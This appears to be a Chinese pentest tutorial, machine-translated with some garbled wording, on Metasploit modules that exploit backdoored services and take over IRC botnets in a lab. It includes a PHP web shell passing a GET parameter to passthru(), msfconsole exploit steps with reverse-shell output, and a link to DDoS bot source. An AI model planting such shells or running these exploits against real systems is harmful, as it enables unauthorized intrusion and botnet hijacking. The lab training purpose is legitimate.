这篇文章中,我们将谈论利用Metasploit来攻击并接管常见的后门和僵尸网络的话题。我们不会深入研究所有的模块,但是会提到一些在未来渗透测试或者事情时会用到的模块。我们不会开拓Exploit,以是不须要你利用调试器和代码编辑器。
如果你刚开始利用Msfconsole(框架的一个命令行接口)来利用Metasploit Framework,不必担心,这里会一步一步地教你怎么利用漏洞利用模块。这个教程只须要你做一件事,在你的攻击机上安装Metasploit,我建议你利用Kali Linux或者BackBox,这是渗透测试的发行版系统,已经预先安装了Metasploit。
对付我们的目标机,我建议你把metasploitable 2安装到喜好的虚拟化平台上,比如VMWare或者VirtualBox。Metasploitable 2是一个有漏洞的Ubuntun Linux虚拟机,你可以用它练习你的Metasploit利用技巧,由于它上面安装了一些不屈安的程序。

Metasploitable 2虚拟机配置安装了包含有后门和公开漏洞的做事。
在6667端口上,Metasploitable 2上运行着有后门的UnreaIRCD IRC后台程序,可以通过发送字母“AB”触发,攻击者能够以运行ircd的用户权限实行任意系统命令。这是一个非常好的用来练习的漏洞,我们试试看能不能弹出一个shell。很幸运,Metasploit已经有一个该漏洞的利用模块,位于exploit/unix/irc/unreal_ircd_3281_backdoor下面。
输入msfconsole打开Metasploit的命令行接口。输入info exploit/unix/irc/unreal_ircd_3281_backdoor可以看到模块的描述信息:“这个模块利用漏洞攻击一个附加有恶意后门的Unreal IRCD 3.2.8.1下载包。该后门位于2009年11月到2010年6月12日期间的Unreal3.2.8.1.tar.gz压缩包中”
现在,是时候攻击这个包含有后门的做事了!
哇哦,我们拿到了shell。想要获取更多关于其它有后门的做事的信息,请查看Metasploitable 2 Exploitability Guide。
我们谈论的不应该是常见的后门和僵尸网络接管话题吗?是的!
我们才刚刚开始,刚才做了一个大略而又简短的先容,如何利用MSF掌握台来攻击UnreaIRCD IRC做事中的后门。
我们的目标是先容一个体致的玩意儿,Metasploit已经有了这一类模块,这些模块并不是在Web运用程序上远程实行任意代码,也不是在运用程序或做事上进行缓冲区溢出攻击。
不才一个例子中,我们将会利用一个我写的Simple Backdoor Shell Remote Code Execution模块攻击一个Web后门。这个模块攻击一个大略的web后门,利用常见后门shell的有薄弱点的参数实行命令。
Daniel Miessler和Jason Haddix的OWASP安全列表工程里有很多这类后门shell的样本,它们被分类编入到Payloads下面。
在我们探究Simple Backdoor Shell Remote Code Execution模块之前,我们首先要在目标机器上创建一个后门shell。我建议你在Linux虚拟机上安装一个Apache做事器,并编写以下有漏洞的代码:
<?phpif ( isset( $_GET[‘exec’] ) ) {if ( false === passthru( $_GET[‘exec’] ) )echo ‘So sad, this is an error – aurelius of Infosec Institute’;}?>
我把这个代码放在Ubuntun VM虚拟机的/var/www/html/msfdev/vulnerable.php路径下,这样我可以利用浏览器访问http://localhost/msfdev/vulnerable.php,如下图所示,利用这个漏洞代码的POC就可以通过exec参数实行任意命令。
现在,我们利用Simple Backdoor Shell Remote Code Execution模块。
正如你看到的实行show option命令之后的输出信息,有一些必须的设置的选项(除RHOST,RPORT,以及其它普通选项外),通过设置METHOD指定HTTP方法,通过设置TARGETURI指定后门shell的路径,以及通过设置VAR指定参数或者说命令变量。
假设我们的目标机的IP地址是192.168.150.136,我们须要把RHOST设置成这个地址,通过设置TARGETURI为/msfdev/vulnerable.php来定义我们的后门shell的位置。然后是VAR选项,我们可以设置为exec,这样就可以实行任意命令。我们不须要设置HTTP方法,由于web运用程序许可GET方法,并且通过GET方法就可以进行漏洞利用。
msf exploit(simple_backdoors_exec) > set rhost 192.168.150.136rhost => 192.168.150.136msf exploit(simple_backdoors_exec) > set var execvar => execmsf exploit(simple_backdoors_exec) > set TARGETURI /msfdev/vulnerable.phpTAGETURI => /msfdev/vulnerable.phpmsf exploit(simple_backdoors_exec) >exploit[] Started reverse double handler[] Accepted the first client connection…[] Accepted the second client connection…[] Command: echo wE5lyQtBEHIWwFd4;[] Writing to socket A[] Writing to socket B[] Reading from sockets…[] Reading from socket A[] A: “wE5lyQtBEHIWwFd4\r\n”[] Matching…[] B is input…[] Command shell session 1 opened (192.168.150.129:4444 -> 192.168.150.136:49484) at 2016-02-22 09:24:57 -0500
成功弹出了第二个shell!
好了,这便是利用这个模块攻击web shell的全过程。
以下是一些与这类模块干系的其它漏洞利用模块:
Th3 MMA mma.php Backdoor Arbitrary File Upload – 这个模块攻击Th3 MMA mma.php后门,可以上传任意文件,这导致任意代码实行。由于php_uname()函数,这个后门也回显了Linux内核版本号或者操作系统版本号。
Zemra Botnet CnC Web Panel Remote Code Execution – 这个模块攻击CnC web panel of Zemra僵尸网络,在其泄露的源码中包含了一个后门。Zemra是一个可以履行DDOS攻击的恶意软件,被Symantec创造并命名为Backdoor.Zemra。
China Chopper Caidao PHP Backdoor Code Execution – 这个模块攻击一个中国黑客广泛利用的中国菜刀webshell。
Horde 3.3.12 Backdoor Arbitrary PHP Code Execution – 这个模块攻击一个包含有任意PHP代码实行漏洞后门的Horde 3.3.12 and Horde Groupware 1.2.10。
OpenX Backdoor PHP Code Execution – 至少在2012年11月到2013年8月期间,penX Ad Server version 2.8.10上搭载了一个隐蔽的后门。漏洞利用非常大略,只须要发送一个含有rot13’d和回连载荷的单独要求。
STUNSHELL Web Shell Remote PHP Code Execution – 这个模块攻击一个“STUNSHELL”Webshell的未证明版本。当Web做事器上开启了安全模式时这个模块有效。该shell被广泛用在自动化RFI载荷中。
连续,列表会越来越长。通过命令search backdoor你可以获取更多的模块。
我编写和贡献的另一类模块是针对僵尸网络接管的。一个好例子是w3tw0rk / Pitbul IRC Bot Remote Code Execution。这个模块攻击一个w3tw0rk僵尸网络,把你的昵称注册或者伪装成注册僵尸网络的IRC频道的管理员或者看守人。
我想把这个作为一个寻衅给你,因此我不会阐明这些选项的含义以及如何攻击这类僵尸网络,而且已经有了一个这个漏洞利用的截屏。我想你已经通过前面的指令看到了设置Metasploit的模式。
这里是w3tw0rk / Pitbul IRC的源代码脚本,它可以用来发动DDos(分布式谢绝做事)或者DoS(谢绝做事)攻击:
https://github.com/shipcod3/IRC-Bot-Hunters/blob/master/malicious_samples/w3tw0rk.txt。你该当在你的虚拟机中运行它,确保它连上你自己的IRC做事器,这样你的虚拟机就不会被其它的僵尸网络看守者或恶意软件十字军所掌握。
我编写的大多数僵尸网络漏洞利用模块的灵感来源于PHP IRC Bot pbot eval() Remote Code Execution模块,这是Metasploit中的第一个IRC僵尸网络exploit。根据其描述,“这个模块可以在PHP IRC bot pbot上远程命令实行,由于在实现.php命令时对eval()函数的滥用。该模块在Jay Turla剖析的pbot版本上测试成功,发布在Infosec Institue,运行于Ubuntu 10.04和Windows XP SP3。”
我不对这个脚本造成的危害卖力,但是请仅作为传授教化目的利用。
其它与僵尸网络接管干系的漏洞利用模块:
Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution – 这个模块可以在xdh开拓的IRC Bot上远程命令实行。这个perl bot是Conor Patrick用他的shellshock蜜罐做事器捕获的,Markus Zanke将其划入到fBot (Fire & Forget – DDoS Bot)种别中。Matt Thayer创造这个脚本有一个LinuxNet perlbot的描述。这个bot只应答配置在perl脚本中的做事名和昵称,因此,为了攻击这个bot你须要能够操作IRC网络来欺骗它或者至少有和配置中相同的ip。
Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution – 这个模块可以在PHP IRC bot Ra1NX 上远程命令实行,通过利用私人信息中的public call特性来秘密绕过认证系统。
Legend Perl IRC Bot Remote Code Execution – 这个模块可以在Legend Perl IRC Bot上远程命令实行。2014年10月该bot被作为一个载荷用在Shellshock spam中。这个分外的bot有一些功能,比如NMAP扫描, TCP, HTTP, SQL, and UDP洪泛攻击,打消系统日志,获取root权限,VNC扫描。Damballa的高等威胁研究专家Kevin Stevens把这个脚本上传到VirusTotal上,其md5为11a9f1589472efa719827079c3d13f76。
Dexter (CasinoLoader) SQL Injection – 这个模块攻击一个在control Dexter上利用的命令和掌握面板中创造的漏洞。漏洞利用通过访问一个bots利用的PHP页面(gateway.php)实现,这个页面并没有对输入作防护。输入被加密和编码。命令和掌握面板指定了一个上传文件的位置,这可以作为写入PHP shell的可靠位置。攻击这个漏洞并不须要认证。
参考文献:
https://community.rapid7.com/docs/DOC-1875
https://forums.unrealircd.org/viewtopic.php?t=6562
https://github.com/rapid7/metasploit-framework/
微信/QQ"大众号:互联网安全